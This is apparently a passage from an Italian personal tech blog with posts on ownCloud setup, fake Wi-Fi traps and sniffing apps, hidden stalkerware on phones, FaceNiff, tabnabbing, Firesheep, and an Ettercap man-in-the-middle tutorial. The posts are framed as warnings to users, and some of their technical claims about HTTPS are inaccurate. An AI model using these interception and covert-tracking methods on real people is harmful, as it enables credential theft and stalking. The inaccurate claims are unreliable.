A questo punto la connessione con il server avrà inizio, se tutto è andato per il giusto verso vedremo la voce Connected e sarà creata la directory di sincronizzazione chiamata owncloud nella nostra home. Possiamo adesso creare nuove cartelle di sincronizzazione cliccando sull'icona a forma di nuvola in alto a sinistra, scegliamo la cartella da sincronizzare (in upload) cliccando su Scelta e quindi proseguiamo.
La nuova schermata selezioniamo l'opzione al tuo ownCloud e indichiamo in cartella su ownCloud un nuome per la nuova directory che verrà creata su server, cosi facendo riconosceremo subito i file caricati dal nostro PC e terminiamo con Finish. È il momento di WEBDAV, quindi installiamolo con

sudo apt-get install davfs2

Al termine lanciamo il comando per riconfigurare

 sudo dpkg-reconfigure davfs2 

e quando appare l'interfaccia grafica scegliamo SI e confermiamo con invio.
Adesso possiamo aggiungere gli utenti autorizzati a connettersi al Cloud server utilizzando WebDAV semplicemente lanciando da terminale il comando

sudo usermod -aG davfs2 nomeutente

Ancora qualche ottimizzazione e siamo alla fine.
Modifichiamo il file fstab per far si che la partizione del server Cloud possa essere montata in automatico, editiamo quindi il file con

sudo gedit /etc/fstab

e aggiungiamo la seguente stringa:


percorso_Cloud/files/webdav.php/home/nomeutente/owncloud davfs user,rw,noauto 0 0

spostiamoci nella home del sistema e creiamo qui due directory, una denominata cloud e l'altra devfs2 e all'interno di quest'ultima creiamo un nuovo files secrets contenente la riga

 percorso_cloud/files/webdav.php

seguito da username e password di accesso.
Torniamo adesso al nostro terminale e lanciamo il comando

chmod 600 ~/.davfs2/secrets 

per settare i permessi del file appena editato, infine lanciamo

mount ~/cloud

per montare il nuovo spazio disco che sarà la nostra Nuvola vista come disco locale. Come detto ad inizio owncloud assomiglia ad un CMS e come tale offre strumenti per configurazioni avanzate e plugins vari per funzioni aggiuntive, come ad esempio i nomi link corti rendendoli più brevi e semplici. Tra le funzioni aggiuntive è quasi d'obbligo rendere il nostro Cloud da privato a pubblico, quindi dalle impostazioni alla voce utenti è possibile aggiungere amici o chi volgiamo, aggiungendolo al gruppo user e impostando da Quote lo spazio massimo utilizzabile dall'utente appena creato.
Spostiamo il cursore accanto al nome file che vogliamo condividere e clicchiamo su condividi, compiliamo il campo User o Group con il nome dell'utente e quest'ultimo si troverà il file condiviso sull'area personale nella cartella share.
Ovviamente è possibile condividere file con utenti esterni al proprio Cloud, basta inviare il relativo link via @mail, per farlo clicchiamo su Condividi e selezioniamo Share with private link, a quel punto avremo il link creato al relativo file, inseriamo in basso l'indirizzo @mail e clicchiamo su Send, difficile? NO dai! Più a spiegarlo che realizzarlo.
Abbbiamo cosi il nostro Cloud in locale ma anche disponibile per l'esterno, condivisibile con chi vogliamo e impostato da noi per ogni esigenza. Ci sono poi anche altre applicazioni interessanti associate ad ownCloud, la stessa scaricabile per Android (presente anche per iPhone) oppure un analoga app scaricabile da Play Store gratuitamente.... sto parlando di WebDAV File Manager.



Questo per il momento è tutto e per approfondimenti vari o supporto contattatemi pure e non sottovalutate l'idea del NAS realizzato a casa, torno al discorso iniziale ma se ve lo dico un motivo ci dovrà pur essere no!? Ho sentito dire cose assurde, ad esempio come un vecchio PC può gestire dischi di Terabyte, ma come detto ad inizio è la stessa freeNAS che bypassa i limiti del BIOS rendendovi un sistema stabile e veloce, basato su Unix e completamente free, non i vari NAS da 300 euro con parti di codice Closed.... pensateci, chissà cosa si potrebbe fare con un NAS ed un Cloud. Volendo provare la demo di ownCloud possiamo testarla direttamente da QUI.










9/06/2012

ATTENTI ALLE TRAPPOLE


Andando avanti le tecnologie migliorano, ma cambiano anche le tecniche e strategie dei Cracker, cosi come i servizi si fanno intensi più il loro compito è semplice. Cerchiamo però di rendere meglio l'idea. L'era degli Smartphones, iPhone e tablet fanno si che aumentino gli utenti che necessitano di un punto di accesso, ed è cosi che per mantenersi clienti ed acquisirne dei nuovi, le più svariate attività commerciali e non offrono servizi ampliando le proprie reti wireless, cosi come in molti Comuni vengono sviluppate reti pubbliche, come ad esempio nella mia città dove il ptlug sta facendo un ottimo lavoro.... facile capire adesso dove vivo. ;) Ho sempre detto che si deve prestare molta attenzione alle reti pubbliche o condivise e continuo a dirlo, è preferibile accedere al Web per leggere notizie in genere, navigazione Internet ma senza dover accedere a proprie postazioni remote, server, Mail o account vari come Twitter e Social Network in genere, questo per il semplice fatto che possiamo diventare vittime di Cracker che vogliono impadronirsi dei nostri dati di accesso e violare cosi la sicurezza con cui l'esperienza ci ha insegnato essere importante sebbene sono ancora molti gli utenti che non gradiscono impostare password utenti o di vitale importanza, dell'amministratore. Detto questo voglio illuminarvi su alcune tecniche di "tendenza" grazie appunto ai nuovi servizi offerti e soprattutto alle nuove tecnologie, metodi che non richiedono sforzi enormi ne conoscenze approfondite in materia, disponibili per qualsiasi dispositivo. Partiamo dal più semplice e facilmente reperibile, non vi starò ad elencare la piattaforma usata ne come usare Wireshark, ma se avete letto l'articolo di questo tool non vi sarà difficile immaginare il resto. Questo lo dico per il semplice fatto che per eseguire una cattura dei dati non è necessario un computer ne una distribuzione come la BackTrack, ma un semplice smartphone o iPhone. La tecnica consiste nell'ingannare gli utenti facendogli credere che esistono punti di accesso liberi, quindi una volta collegati, tentando l'accesso al proprio profilo Twitter o Social Network, in realtà non fanno altro che trasmettere dati pacchetto ai dispositivi trappola dove in seguito analizzando i pcap (pacchetti catturati) mostreranno i dati utente e quindi offrendo su un piatto d'argento i tanto protetti dati di accesso. Creare falsi punti di accesso è semplicissimo, basta creare una rete ad-hoc, quindi lanciare un app che consente la cattura dei dati, app gratuite come Shark root per Android, una volta catturati i pacchetti non ci rimane che analizzarli in seguito sul computer oppure usare un analoga app come Shark reader per visualizzarli nell'immediato ed eseguire cosi l'accesso. Questa trappola è semplice da realizzare, lasciando collegare l'utente non si accorgerà di nulla sebbene possa a sua volta prendere nota del MAC dispositivo e quindi con qualche escamotage e molta fortuna, risalire a chi crea la trappola, in particolare se questa viene eseguita da persone di nostra conoscenza che vogliono ficcare il naso sui propri affari... ad esempio un partner geloso che vuole sapere con chi chattiamo e cosa condividiamo con amici e conoscenti, anche se per i partner gelosi esistono app specifiche che non consentono la cattura dei pacchetti e dati di accesso ma addirittura dove ci troviamo, con chi messaggia in sms e lo stesso testo degli sms che inviano e ricevono simultaneamente oltre al numero del cellulare del mittente e completo ovviamente, una app del genere deve però essere installata sul dispositivo della vittima in pochi e semplici, nonché veloci passaggi, l'app non verrà visualizzata e per rimuoverla ci dobbiamo collegare al "market" e procedere con la rimozione, nel dubbio che qualcuno l'ne sia vittima basta cercarla su Play Store, quando trovata se non compare la voce "acceta e scarica" ma "disinstalla" ne avrà conferma. Un app simile è SMS Tracker Agent ed è free, mentre un altra GPS SPY Plus è invece a pagamento (€ 4,00) e offre servizi aggiuntivi al prezzo di € 1,00 cadauno, ad ogni modo questo è un altro articolo. Adesso che ne sapete di più fate attenzione e rifletteteci prima di eseguire un accesso che richieda dati personali del vostro account su reti libere e condivise, potreste ritrovarvi intrappolati.



Shark Root e Shark Reader






SMS Tracker Aget e GPS SPY Plus

6/19/2012

Verifichiamo eventuali Filtri al Provider con Shaperprobe

Shaperpbobe, questo è il nome del pacchetto che ci servirà per eseguire un analisi della propria banda, se sono adottati filtri che limitano il traffico verso i siti in condivisione. Il tool non richiede installazione e non andrà ad appesantire il Sistema. I requisiti sono un computer con Linux in ogni sua distribuzione, lanciando il terminale eseguiremo le analisi subito dopo aver eseguito il download del pacchetto, scompattato e compilato con un semplice MAKE (la configurazione non serve). Vediamo quindi di inserire nel terminale il comando che scarica l'applicazione con:

wget http://www.cc.gatech.edu/~partha/diffprobe/shaperprobe.tgz

eseguito il download scompattiamo:

tar xvf shaperprobe.tgz

quindi entriamo nella cartella creata alla scompattazione con:

cd shaperprobe

e compiliamo:


make

a questo punto non ci resta che lanciarlo con:


./prober

nei successivi 2 minuti e mezzo verranno eseguiti i test e analisi per la banda in uso. Ovviamente per avere informazioni sulla velocità e banda disponibile è bene eseguire il test senza avere client bittorrent attivi o altri come emule e cosi via, se ci sono client attivi non possiamo ottenere dati precisi. I filtri e limitazioni in genere (shaper), se si trovano possiamo vederlo dal resoconto Upstream e Downstream come da figura che in tal caso evidenzia No Shaper Detectd, è comunque utile eseguire il test in vari orari del giorno.




12/23/2011

FaceNiff per Android

Anche nei dispositivi mobili che conosciamo meglio come smartphones, abbiamo un OS che ci consente di rimanere in contatto con la rete, i nostri documenti e di gestire account vari, Social Network, chat, torrents, desktop remoto ed altro ancora non è più cosa da addetti ai lavori ma per ogni utente che vuole mantenere il proprio blog aggiornato e non mancare agli appuntamenti con i propri contatti. Naturalmente questo ha i suoi rischi, "telefonini" dotati di un vero e proprio OS ne subiscono altrettanti attacchi, quando poi in gioco ci sono account vari e accessi di ogni tipo ecco che il piatto si fa ghiotto all'intrusore di turno, l'unica cosa che in un caso simile possiamo augurarci è che si tratti di un curioso che smanetta sui protocolli e processi vari alla ricerca di vulnerabilità da poter inserire sulle newsletters del proprio sito preferito o forum, il tutto per contribuire nella ricerca dei punti deboli e vulnerabili della rete. Ma non staremo ad affrontare l'argomento cosi, caliamoci su un app in particolare, sviluppata per Android e abbastanza diffusa tra user che cercano di catturare account in ogni momento. Di app ce ne sono molte, dai brute force router per scovare le password di default router, al nmap per scansionare porte, tipo di OS e altre informazioni sensibili, ai pacchetti WPA che sono di differenti tipi ma che però troviamo i diffusi WPA Alice e f Fastweb, entrambi o anche in un unico tool, per lo stesso motivo, il calcolo che definito da SSID e BSSID svela in pochi secondi la phassphrase che di default è impostata su ogni router Alice e HAG Fastweb, per questo dico sempre di impostarne una personale, per semplificarvi la vita. Adesso arriviamo all'applicazione in questione, FaceNiff, un app per Android in grado di catturare login di utenti su reti pubbliche e condivise, proprio come accade per il suo fratello maggiore Firesheep su Firefox. Quindi fate attenzione ad usare reti pubbliche perché è molto pericoloso. FaceNiff non cattura solo pacchetti che consentono di loggarsi negli account che cattura su un solo Social Network come il nome suggerirebbe, ma anche ad altri account tra cui l'elenco: FaceBook Twitter Youtube Amazon VKontakte Tumblr MySpace Tuenti MeinVZ/StudiVZ blogger Nasza-Klasa Come si suol dire, "uomo avvisato..." Per informazioni su FaceNiff ed eventuali pacchetti per testare il funzionamento, può andare direttamente sul sito FaceNiff. Al prossimo post.

5/06/2011

Cifriamo i nostri dati

Torniamo a parlare di dati sensibili, ma anche se si tratta solo di cose a noi care e che vogliamo custodire gelosamente la procedura è la stessa, quindi vediamo di cosa stiamo parlando. Nonostante si possono prendere varie contromisure per evitare intrusi nel nostro sistema, come specificato nei vari post, è possibile che si arrivi tardi e quindi lasciamo il nostro sistema per qualche giorno esposto ai pericoli non avendo eseguito un aggiornamento proposto il tal giorno, ma anche se aggiornato tempestivamente non possiamo escludere al 100% un eventuale intruso, cosa rara ma non impossibile. La piattaforma è comunque indispensabile, se ci troviamo in ambiente Windows in particolare, nonostante si possa usare un ottimo anti-virus e anti-malware non si ha mai la totale garanzia della protezione, riguardo alle patch poi è sempre un incognita visto che spesso alcune correzioni portano problemini di varia natura qua e la, sebbene si faccia più attenzione sotto questo punto di vista succede tutt'ora. Quindi dopo aver protetto il sistema, messo su un firewall con regole rigide e gli strumenti necessari per prevenire e salvaguardare il proprio sistema, non possiamo alla fine trascurare l'ipotesi di eventuali dati rubati e quindi la nostra rovina. Le probabilità per quanto remote possono apparire in realtà non lo sono, per questo vi consiglio un ulteriore protezione dati semplicissima ma che renderà difficile ogni tentativo di intrusioni spietate. Quello che sto cercando di dire è che prevenire un attacco, per quanto sia salutare, non ci garantisce la sicurezza, per questo dobbiamo fare un ultimo e semplice sforzo che rende (quasi) impossibile l'interpretazione dei nostri dati, preciso "quasi" solo perchè potrebbe anche essere possibile, ma per farlo servirebbero molte CPU di estrema potenza per decifrare i dati. Bene, immagino che avete capito di cosa sto parlando, la cifratura dei dati. L'operazione è molto semplice, vi consiglio quindi di farlo per avere maggiori garanzie. Gli strumenti sono di vario genere, qui vi dirò come procedere su Linux usando seahorse-plugin che naturalmente deve essere installato. Potete quindi decifrare intere cartelle o singoli file, sia separatamente che impacchettati. Cifrare è un operazione semplicissima, cliccate con il tasto destro del mouse sul documento o cartella che volete cifrare e scegliete appunto Cifra. Vi verrà chiesto di impostare la phassphrase, quindi procedendo si aprirà l'interfaccia per farlo, i dati richiesti sono il vostro nome (o nik) e l'indirizzo e-mail, quindi la possibilità di un commento, poi dovrete impostare la password che in questo caso vi consiglio robusta, ed è fatta. Ci sono eventuali impostazioni da personalizzare, come il tipo di cifratura e quanti bit dovrà essere, quindi lo troveremo aggiunto e cifrato, fatto questo possiamo rimuovere l'originale salvandolo su memoria esterna per non rischiare di perderlo, mentre dal computer accederemo al documento cifrato cliccandoci sopra, ma attenzione, cliccandoci non verrà aperto subito, vi verrà chiesto come salvarlo nuovamente per la lettura, quindi scelto il nome o sovrascrivendo il precedente dovrete digitare la password che avete impostato per l'occasione. Abbiamo quindi adesso uno strumento in più per eventuale perdita dei dati, anche dalla stessa postazione sarà impossibile visualizzare i documenti se non si conosce la password impostata. Non aspettate e fatelo subito.

5/04/2011

Il pericolo viene da Facebook

Facebook, il social network per eccellenza secondo i gusti di molti utenti. Per tanti altri è uno in più oltre l'abituale Twitter ed il più conosciuto in Europa Netlog.... ma scommetto che molti utenti di Facebook non sanno ancora cosa siano. Comunque FB una novità l'ha portata, quella di far avvicinare molta più utenza ad un social network, voglio vederla cosi e non come FB che ha un grande successo perchè la maggior parte delle persone hanno pensieri e voglie perverse, non dimentichiamo che FB è una bacheca per socializzare con utenti condividendo gusti e quanto altro ci comprende e poter esprimere cosa ci piace, il tutto velato come un gioco ma poi non troppo. Come per Twitter però FB offre agli "Hackers" di tutto il mondo la possibilità di diffondere malware, di impadronirsi dei dati degli utenti e in un modo semplice e chiaro, avendo cosi dati molto precisi di tutti. Il suo successo fa si che molti siano felici, anche me in questo caso, perchè gli interventi a partire da 20,00 € per la rimozione malware sono aumentati vertiginosamente, ma avendo una coscienza pulita in questo senso, non posso dire che la cosa mi fa ulteriormente piacere, anzi è il contrario. Se non guardassi in faccia a nessuno non scriverei neppure questo articolo, ma le cose non stanno del tutto cosi. Mi dispiace perchè tanti utenti rischiano davvero troppo, la nostra privacy prima di ogni altra cosa, ma anche denaro dei conti correnti cosi come numeri di carte di credito, una miniera di phishing mai registrata prima. Ci sono poi anche altre violazioni, cosa che non tutti hanno chiara a dire il vero, ma funziona proprio cosi. Sono quindi gli stessi utenti che nel passatempo preferito tra un post e l'altro cercano di rimanere presenti davanti al monitor cercando passatempi, la maggior parte di questi senza dover allontanarsi dalla propria pagina di FB, che sballo! già, ma spesso inconsapevoli che accettando i termini d'uso concediamo più di quanto si crede, che solo al trattamento dei nostri dati sarebbe da rifiutare. Tanti invece credono che concedendo i diritti delle proprie immagini e chissà cosa altro possono un giorno compiacersi, ma le cose non sono proprio cosi, quindi meglio leggersi il regolamento, su questo mi chiedo se, e in quanti lo abbiano mai fatto. Nell'insieme FB è uno strumento molto utile per tutti, qualcuno lo sa già, altri ancora no, ma presto se ne accorgeranno. Qualcuno però ha capito la sua pericolosità, quindi ha iniziato campagne per l'informazione, sebbene la maggior parte le abbia ignorate, almeno fin quando non è successo loro qualcosa, e citarle adesso sembra inutile, però ricordatevi che ci sono cosi come ci sono leggi che tutelano i cittadini, su questo punto semmbra a volte che Internet abbia leggi differenti, in parte è vero visto che sono differenti per ogni nazione, ma noi Italiani dobbiamo fare i conti con leggi Italiane, cosa che molto pochi sanno o che troppi ignorano. Una delle leggi riguarda la tanto discussa e delicata Privacy, la cosa ci fa sorridere visto che da Spokeo inserendo il nome del garante sulla Privacy otteniamo tante di quelle informazioni da farne una barzelletta, ma la legge è legge e se io inserisco una mia immagine che però contiene anche altre persone e non chiedo loro il consenso firmato (liberatoria) non posso pubblicarli in quanto violazione di legge e quindi sanzionabile. Facebook è quindi uno strumento potente e pericoloso per chi lo usa con superficialità. Da tempo sono dell'idea che Internet oltre ad essere una fonte fantastica per l'informazione ed il commercio è anche un arma pericolosa, cosa che quindi necessiterebbe di un patentino per poter navigare. Proprio come per la strada dobbiamo seguire regole ed avere la patente che ci abilita a guidare le automobili. Internet non è differente dalle nostre strade, l'automobile è il nostro computer e le strade la stessa rete, giudare senza patente è rischioso cosi come navigare senza conoscerne i pericoli lo è su Internet. Per questo vi invito e vedere il documento di Report trasmesso lo scorso 10 Aprile e che riporto nella sua prima frazione qui:

Non abbiamo detto tutto sui pericoli del social network, sulla diffusione di malware in particolare, ma vi basterà digitare da Google le parole chiave "malware facebook" e vedrete quante pagine con vari avvisi compariranno.

Nell'attesa potete abbattere qualche asteroide.

Asteroids made by Neave Games

2/12/2011

Il Tabnabbing (tecniche di phishing avanzato)

Il Web cresce con i tempi mostrando sempre più quanto la società moderna necessiti di queste innovazioni tecnologiche, questo fa si che anche la parte indesiderata, ma che ne fa comunque parte, si adatti allo sviluppo sfoggiando nuove idee e meccanismi per approfittare della situazione. La sicurezza in rete ha un ruolo sempre più determinante in tutto questo, visto che le vulnerabilità sono rese note quotidianamente ed ad ogni nuova iniziativa. Abbiamo già la consapevolezza della miriade di pericoli nascosti o meno nella rete, i vari Trojan, Worm, malware in genere, cosi come varie tecniche ingannevoli che hanno tutte un solo scopo, quello di impadronirsi dei dati degli utenti per farne un uso illegale se non per compere vere e proprie "rapine" ai danni dei consumatori più ignari. Questo però negli ultimi anni si è sempre più espresso agli utenti, vuoi per le migliaia di vittime e denunce che ne rivelano trucchi e vulnerabilità tanto che per gli addetti ai lavori sulla sicurezza che ne hanna fatto degli studi una vera e propria scienza con tanto di banco di lavoro e laboratori per test. Certo, in futuro le cose andranno via via migliornado (lo si spera) ma intanto ne dobbiamo quotidianamente considerare altrettante, nate purtroppo da una base debole sotto questo punto di vista e spesso trascurata per gli eventi futuri. Le maggiori vulnerabilità note e prese di mira sono ormai da tempo conosciute e si è fatto poco o nulla per limitarne i danni, certo, la prevenzione, informazione e gli aggiornamenti cercano di tamponare quanto più possibile, ma è veramente difficile tenere sotto controllo qualcosa che è più grande delle nostre stesse risorse e cresce a dismisura. Più di una volta ho cercato di esprimere il mio punto di vista, in tanti hanno a sua volta espresso lo stesso problema e miravano alla stessa soluzione, certo, non è pratico dover superare un esame ed avere un riconoscimento per poter navigare in rete, forse tutti interpreterebbero la cosa come uno speculo o mirata solamente per far arricchire qualcuno se non vista come una nuova "tassa" camuffata, ma non è nulla di ciò, anzi, sicuramente se ne trarrebbe qualcosa di buono, un informazione, istruzioni o quanto altro per non farci cadere nelle trappole o almeno essere preparati. Sono certo che tanti non condividono tutto questo, si vuol dire che comperando un computer e pagando un abbonamento ad Internet siamo liberi di navigare quanto ci pare, certo, sono con voi, ma essere informati e saperne di più potrebbe essere di aiuto a tanti. Adesso veniamo al TABNABBING. Il Web 2, l'avanzamento del nuovo, non esclude i pericoli che invece si adattano alle nuove tecnologie, anzi, nonostante sia stato fatto qualcosa precedentemente riguardo alle varie tecniche di Phishing utilizzando nuovi browser che ignorano la presenza del tag meta refresh di cui un abuso è stato fatto dagli spammer o chi promoveva siti di phishing, tanto che i motori di ricerca si rifiutano di redirigere su chi contiene ancora questi tag, ecco che si evolve anche la tecnica del phishing, conosciuta come tabnabbing, la quale possiamo comunemente definirla tecnica di phishing avanzata. Per funzionare necessita del javascript, quindi già disabilitando nel browser avascript non se ne conseguono pericoli, ma chi disabilita javascript oggi giorno? Ecco quindi che l'informazione faccia notare agli utenti questi conosciuti bug nella speranza che si adottino contromisure, ci sia più attenzione e presenza in ciò che facciamo, si, presenza in quanto un complice dell'ottimo funzionamento del tabnabbing è proprio la distrazione dell'utente o nel prestare poca attenzione ad alcuni particolari. Il funzionamento del tabnabbing infatti approfitta della confusione nel browser, le varie schede aperte ed il focus di queste, quando si apre una pagina contenente questa trappola basterà saltare per qualche secondo ad un altra scheda per poi ritrovarsi una nuova interfaccia a noi nota, eseguendo quindi l'accesso perchè si pensa sia scaduta la sessione, veniamo fregati. Mi sono spiegato bene? volete conoscerne i termini esatti e il funzionamento preciso? Sicuramente ne saprete quanto adesso.... ma mi è venuta un idea migliore, un test da fare e il codice javascript in questione. Allora, per vedere con i vostri occhi quanto succede e cosa succede fate questa prova, aprite un browser e più schede di navigazione, in una di queste schede aprite questo sito qui: http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ vedete che tratta l'argomento, un sito in inglese che descrive questa ed altre tecniche. Andate adesso nelle altre schede navigando dove volete, dopo qualche secondo vedete che il sito di prima è scomparso, adesso avete la pagina di accesso al vostro account di posta Gmail, visto come e cosa succede? Il procedimento è in tempo reale, la trasformazione delle icone presenti, tutto appare come nel sito originale. In questi frangenti basta aggiungere un vostro ragionamento di sessione scaduta, inserire i dati a fare login che ne sarete vittime, quando lo farete verrete in seguito ridirezionati veramente nel vostro account di posta per non destare sospetti, ma ormai vittime di questo javascript infernale. Sperando di essere stato chiaro vi lascio il link del codice javascript in uso sullo stesso sito qui: http://www.azarask.in/projects/bgattack.js per analizzarlo. Adesso sapete che esiste una tecnica di phishing molto avanzata e che si adopera nella confusione delle schede dove l'utente distratto ed ignaro cade vittima.

1/03/2011

Firesheep e Blacksheep

Firesheep. Uno strumento e precisamente un estensione in grado di eseguire la cattura dei pacchetti sulle reti senza fili e non, usufruendo quindi di più interfacce di rete. Firesheep nasce come dimostrazione della pericolosità delle reti pubbliche e di come è semplice la cattura dei dati di accesso attraverso questo sempèlice strumento in grado di mettere in modalità promiscua le schede di rete consentendo quindi la cattura dei dati di accesso. Molto semplice da usare, basta lanciarlo ed esegue automaticamente la cattura dei dati di cui basterà cliccare sopra per essere collegati con l'utente vittima del momento. Firesheep è in grado di catturare dati in htpps ed è quindi semplice riuscire a violare ogni acvcount vittima anche nella propria casella mail nonostante si creda sicuro usando SSL o TSL. Questo dovrebbe far riflettere tutti sulla pericolosità nell'usare reti pubbliche per accedere alla propria mail o vari profili in quanto ci si ritroverebbe vittime di potenziali intrusori. Naturalmente esistono alcune contromisure in grado di proteggersi da questo strumento rendendo cosi l'accesso più sicuro, sebbene mai e poi mai possiamo avere la certezza di una protezione utilizzando reti pubbliche visto che sono "manna" di potenziali Lamer e cadetti Hackers. Firesheep qui: Firesheep è semplice da installare ed utilizzare nonostante su Windows richieda sia installato prima Winpcap, ma dallo stesso sito è possibile reperire il necessario. Lo sviluppatore ha voluto dimostrare quanto siano a rischio le reti pubbliche o non protette in grado di consentire a tutti di sbirciare nel nostro profilo Facebook o account Mail e tanto altro ancora. Non starò a dire come si procede ne tantomeno dare supporto sul software ma solo di prestare attenzione e prendere le dovute contromisure. Il suo funzionamento è noto e sfrutta una falla di HTTPS il quale trasmette i cookie in chiaro e ne consente quindi la cattura, come da immagini viene catturato l'accesso e quando si clicca su di esso eccoci dentro. Firesheep contiene già molti script per vari siti e cattura dei dati ma la realizzazione degli script è semplicissima e si possono aggiungere quanti altri siti vogliamo. Per proteggersi possiamo usare Blacksheep il quale è in grado di rilevarci anche l'itrusore. Blacksheep è un altro add-on per Firefox e possiamo trovarlo qui: blacksheep


Quello che mi rimane da dirvi e di non farvi sbirciare tra i vostri dati in rete e quindi optate per una protezione oppure evitate di accedere da reti sprotette e o pubbliche.

3/15/2010

ETTERCAP-NG (MITM parte seconda)

ETTERCAP-NG (MITM parte seconda).
CONTINUA L'AVVENTURA NEI PANNI DEL CATTIVO.....

Ettercap, un tool completamente e totalmente Italiano. La suite per eccelenza prediletta per gli attacchi MITM (uomo di mezzo), la quale offre diverse modalità per operare in qualunque condizione e su ogni interfaccia disponibile. Ettercap nasce come strumento di analisi ma può essere utilizzato in modo molto diverso a seconda di chi lo impiega. Del resto per operare nel bene si utilizzano da sempre strumenti offensivi, quindi bene e male si possono definire tranquillamente le due facce della stessa medaglia. ETTERCAP è presente nei pacchetti di ogni distribuzione, in particolare su sistemi di analisi e testing delle reti, le sue dipendenze vengono cosi risolte automaticamente durante l'installazione ma alcune librerie è meglio verificarle in quanto ettercap potrebbe farne a meno proprio a seconda dell'impiego. Per un tool di attacco dobbiamo verificare lcune librerie importanti come libnet, libtool, openssl e naturalmente libpcap. Dopo aver installato ettercap possiamo utilizzarlo lanciandolo da terminale con i privilegi di root, e possiamo usufruire di più interfacce a seconda del comando lanciato, ad esempio:

# ettercap -T per avviarlo in modalità testo
# ettercap -C per avviarlo con le ncurses
# ettercap -G per avviarlo su X utilizzando una GUI


Quindi se siete su un terminale lanciatelo con -C , se invece avete una sessione grafica avviata potete tranquillamente utilizzare -G. Nel caso dell'interfaccia con ncurses ricordate che potrete navigare tra le finestre con il tasto TAB mentre per uscire oltre dal menu possiamo utilizzare Ctrl-Q, da notare che se ettercap -C viene lanciato su xterm possiamo anche utilizzare il mouse.



ANALISI DI ETTERCAP

Vediamo adesso alcune delle sue funzioni ed il suo utilizzo in genere, non rinunciate proprio adesso. Sotto il menù "Sniff" troverete due possibilità: "Unified Sniffing" e "Bridged Sniffing", analizziamoli entrambi per capire il loro significato.



UNIFIED SNIFFING

Scegliendo questa opzione Wttwrcap prenderà tutti i pacchetti in transito sul cavo, ne verificherà la destinazione e se non sono diretti alla macchina dalla quale stiamo operando, li direzionerà direttamente sulla rete. Scegliendo questo tipo di di sniffing l'IP Fowarding verrà logicamente disabilitato, questo per evitare che un pacchetto venga rimandato all'host di destinazione due volte, una da Ettercap e una dal Kernel. Gli autori ci avvisano anche di utilizzare con attenzione questa modalità se ci troviamop su un Gateway, questo perchè Ettercap ascolta il traffico su una singola interfaccia di rete e su una macchina dotata di più interfacce, non sarebbe possibile ri-routare il traffico nelle giuste direzioni. Quindi, se vi trovate su un Gateway, prima di iniziare lo sniffing, andate sul menù Optins e selezionate l'opzione "Unoffensive" (che dice ad Ettercap di NON disabilitare il packet fowarding del kernel). Una volta avviato lo sniffing dal menù "Start" potremo operare tutti i tipi di attachhi MITM (man-in-the-middle) che il programma mette a nostra disposizione.



BRIDGED SNIFFING
Come suggerisce il nome stesso, in questa modalità sarà possibile effettuare lo sniffing del traffico utilizzando la nostra scheda di rete in modalità bridge, avremo quindi bisogno di due interfacce dal momento che quella che viene posta in bridged mode diventerà completamente trasparente al traffico, e quindi non sarà possibile utilizzarla per manipolare i pacchetti. Questa opzione, sebbene presenti lo "svantaggio" di dover disporre di due schede di rete, rende le nostre operazioni assolutamente invisibili agli altri.... Ma prima di entrare nel dettaglio, abbiamo bisogno di conoscere le basi di una rete di computer.



RETI LAYER E HUB
Una rete, supponiamo per il momento che sia solo la nostra LAN o quella che abbiamo in ufficio, è un insieme di layer (cioè livelli), ognuno dei quali svolge un compito diverso. A seconda dei casi una rete può essere considerata come un sandwich di 5 o 7 layer differenti, ma nel nostro caso avremo bisogno soltanto di conoscerne i primi 4, che in ordine sono:


Layer 4 Trasporto
Layer 3 Network
Layer 2 Datalink
Layer 1 Fisico


Il primo layer viene utilizzato per il trasporto dei segnali elettrici che rappresentano i dati che viaggiano sulla rete, questi segnali (che in genere sono onde quadre) viaggiano da una parte all'altra tramite cavi, raggi laser, onde elettromagnetiche o raggi infrarossi, quindi la trasmissione del segnale fa parte del Layer Fisico. Questo Layer si occupa del controllo dei segnali, verifica che non ci siano stati problemi e si accorge se un segnale è arrivato disturbato a causa di collisioni o problemi sul mezzo di trasporto. Il secondo Layer diventa un pochino più astratto, su questo livello viaggiano i pacchetti Datalink, nel caso di una LAN Ethernet (ne esistono svariati altri tipi) questi pacchetti hanno una lunghezza fissa e contengono, oltre la parte riservata ai dati, un indirizzo sorgente e uno destinazione detti MAC Address (Media Access Control Address), lunghi 48 bit, ad esempio:

0A:55:84:F2:68:51.

Ogni scheda di rete ha un MAC Address unico in tutto il mondo, ed esistono alcune normative per evitare che due aziende producono schede con lo stesso numero. È molto importante che il MAC sia univoco per evitare che sulla rete LAN vengano a crearsi problemi. Questo livello si preoccupa di effettuare un controllo sui dati dei pacchetti, per vedere se sono arrivati come ci si aspettava, in caso contrario ne richiede il rinvio. Il terzo LAyer è quello su cui dimora IP, il protocollo IP serve esclusivamente per la consegna del pacchetto, IP non conosce porte ne servizi, il suo unico scopo è quello di consegnare il pacchetto, se i dati sono rovinati o non arrivano, a lui non importa, diciamo che IP è una sorta di postino, lui fa di tutto per consegnare il pacco, ma se durante il tragitto viene derubato, allora non dice nulla (IP non può semplicemente sapere che un pacchetto è andato perso). Un pacchetto IP è formato da un header con varie opzioni, un indirizzo sorgente e uno di destinazione lunghi 32bit, che sicuramente avrete visto, ad esempio: 192.168.1.1 è un indirizzo IP, anche se abbiamo rappresentato l'indirizzo MAC separato da ":" e l'indirizzo IP separato da ".", ci terrei a ricordare che è una convenzione per noi umani, alle macchine questo non interessa perchè nel pacchetto, a seconda del livello in cui si trovano, non faranno altro che leggere un numero più o meno lungo. Il quarto Layer, detto anche Layer di Trasporto, è rappresentato dal protocollo che si occupa di portare a destinazione, integri, tutti i bit del payload. I più noti, e che sicuramente conoscerete sono: TCP e UDP. Quando sentite qualcuno che vi chiede di collegarvi ad una macchina sulla porta XX, allora si sta sicuramente riferendo al Layer 4, è infatti questo livello che "conosce" ed utilizza le "porte". Mentre TCP e UDP in particolare si preoccupano di consegnare i dati con una sostanziale differenza: TCP instaura una connessione, e alla ricezione di ogni pacchetto invia una conferma, grazia a queste procedure il TCP garantisce la consegna dei dati (sempre che la linea non sia interrotta, o la macchina spenta, ma in questo caso TCP ce lo direbbe immediatamente). UDP, invece, consegna i dati su una determinata porta senza preoccuparsi se arrivino o meno a destinazione, se un pacchetto UDP si perde, non lo sapremo mai, ma se arriva siamo sicuri che i dati in esso contenuti sono esattamente quelli inviati e non contengono alterazioni. L'assenza di una connessione con conferma di arrivo rende UDP più veloce, e quindi appetibile su protocolli dove la latenza è importante (protocolli realtime o di online gaming), mentre TCP è preferibile dove è necessario sapere si i dati sono arrivati o meno (immaginate di inviare una mail e sentirvi dire che è 